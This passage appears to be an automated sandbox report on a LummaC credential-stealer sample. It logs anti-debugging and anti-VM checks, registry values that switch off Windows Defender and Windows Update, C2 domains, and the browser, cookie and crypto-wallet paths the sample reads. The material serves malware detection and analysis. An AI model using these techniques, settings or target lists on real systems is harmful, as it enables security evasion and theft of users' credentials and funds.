Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F59F73 second address: F59F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F59C01 second address: F59C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F5B3F9 second address: F5B413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D386h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F5B413 second address: F5B432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	RDTSC instruction interceptor: First address: F5B432 second address: F5B437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5CECCA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 809618 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Special instruction interceptor: First address: D9DC12 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Special instruction interceptor: First address: D9DD20 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Special instruction interceptor: First address: F7569E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Special instruction interceptor: First address: F52B2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Special instruction interceptor: First address: FE662D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Memory allocated: 51C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Memory allocated: 5410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Memory allocated: 5240000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Code function: 4_2_00F220FF rdtsc

4_2_00F220FF

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1262	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1680	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1293	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1284	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1420	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6204	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6204	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6768	Thread sleep count: 1262 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6768	Thread sleep time: -2525262s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1440	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6788	Thread sleep count: 1680 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6788	Thread sleep time: -3361680s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5800	Thread sleep count: 1293 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5800	Thread sleep time: -2587293s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep count: 1284 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -2569284s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1276	Thread sleep count: 1420 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1276	Thread sleep time: -2841420s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6788	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe TID: 5816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe, V5GJ8YFILNHAP99OFNDK6O9IE.exe, 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2342676081.000000000555A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, file.exe, 00000000.00000003.2676816635.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2566889914.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2342676081.0000000005555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2342676081.000000000555A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe, 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2342849043.0000000005636000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Code function: 4_2_00F220FF rdtsc

4_2_00F220FF

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Code function: 4_2_00D9B7CE LdrInitializeThunk,

4_2_00D9B7CE

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2073884374.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe, 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmp

Binary or memory string: ei>Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2676816635.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2736867379.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ts/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":}T
Source: file.exe, 00000000.00000003.2736867379.000000000101C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ts/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":}T
Source: file.exe	String found in binary or memory: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2566889914.0000000001022000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
